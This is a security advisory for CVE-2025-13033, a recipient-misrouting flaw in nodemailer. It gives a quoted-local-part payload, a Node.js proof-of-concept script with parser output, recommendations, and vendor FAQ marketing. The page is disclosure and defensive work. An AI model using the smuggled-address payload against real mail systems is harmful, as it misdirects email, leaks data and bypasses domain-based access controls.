CVE-2025-13033

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "[email protected] x"@internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <[email protected]>', 
  to: "\"[email protected] x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});


(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"[email protected] x"@internal.domain',
  local: '"[email protected] x"',
  domain: 'internal.domain'
}

But the email is sent to [email protected]

Recommendations

• Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

• Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

• Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

• Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

• Potential compliance issue: Violates RFC 5321/5322 parsing rules.

• Domain based access control bypass in downstream applications using your library to send mails

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

Kodem intelligence

1. What is CVE-2025-13033? CVE-2025-13033 is a medium-severity improper input validation vulnerability in nodemailer (npm), affecting versions < 7.0.7. It is fixed in 7.0.7. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. Which versions of nodemailer are affected by CVE-2025-13033? nodemailer (npm) versions < 7.0.7 is affected.
3. Is there a fix for CVE-2025-13033? Yes. CVE-2025-13033 is fixed in 7.0.7. Upgrade to this version or later.
4. Is CVE-2025-13033 exploitable, and should I be worried? Whether CVE-2025-13033 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-13033 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-13033? Upgrade nodemailer to 7.0.7 or later.